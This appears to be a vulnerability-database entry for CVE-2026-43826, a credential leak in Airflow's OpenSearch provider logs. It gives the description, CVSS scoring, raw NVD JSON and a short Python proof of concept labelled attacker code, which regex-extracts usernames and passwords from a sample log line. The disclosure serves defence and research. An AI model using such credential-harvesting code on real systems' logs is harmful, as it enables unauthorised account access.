Security Vulnerability Report
中文
CVE-2026-43826 CVSS 6.5 MEDIUM

CVE-2026-43826

Published: 2026-05-11 09:16:26
Last Modified: 2026-05-11 14:16:31

Description

The OpenSearch logging provider, when configured with a `host` URL that embeds credentials (for example `https://user:[email protected]:9200`), wrote the full host URL — including the embedded credentials — into task logs. Any user with task-log read permission could harvest the backend credentials. Users are advised to upgrade to `apache-airflow-providers-opensearch` 1.9.1 or later and, as a defense-in-depth measure, configure the backend credentials via a secret backend rather than embedding them in the `[opensearch] host` URL.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

apache-airflow-providers-opensearch < 1.9.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept scenario for CVE-2026-43826 # This demonstrates how credentials might be leaked if configured improperly. # Vulnerable Configuration Example: # conn = Connection( # conn_id='opensearch_default', # conn_type='http', # host='https://admin:S3cr3tP@[email protected]:9200' # ) # When Airflow runs a task using this connection, the log output might look like this: log_output = "[2026-05-11 10:00:00,000] {connection.py:45} INFO - Connecting to OpenSearch host: https://admin:S3cr3tP@[email protected]:9200" # Attacker code to parse logs and extract credentials import re def extract_creds_from_logs(log_text): # Pattern to match credentials in a URL pattern = r'https://([^:]+):([^@]+)@' match = re.search(pattern, log_text) if match: return { "username": match.group(1), "password": match.group(2) } return None stolen_creds = extract_creds_from_logs(log_output) if stolen_creds: print(f"[!] Found Credentials: {stolen_creds}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43826", "sourceIdentifier": "[email protected]", "published": "2026-05-11T09:16:26.143", "lastModified": "2026-05-11T14:16:31.370", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The OpenSearch logging provider, when configured with a `host` URL that embeds credentials (for example `https://user:[email protected]:9200`), wrote the full host URL — including the embedded credentials — into task logs. Any user with task-log read permission could harvest the backend credentials. Users are advised to upgrade to `apache-airflow-providers-opensearch` 1.9.1 or later and, as a defense-in-depth measure, configure the backend credentials via a secret backend rather than embedding them in the `[opensearch] host` URL."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-532"}]}], "references": [{"url": "https://github.com/apache/airflow/pull/65509", "source": "[email protected]"}, {"url": "https://lists.apache.org/thread/bxsrqx1vwssovnwnrvgh9xcosptmf73y", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/10/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}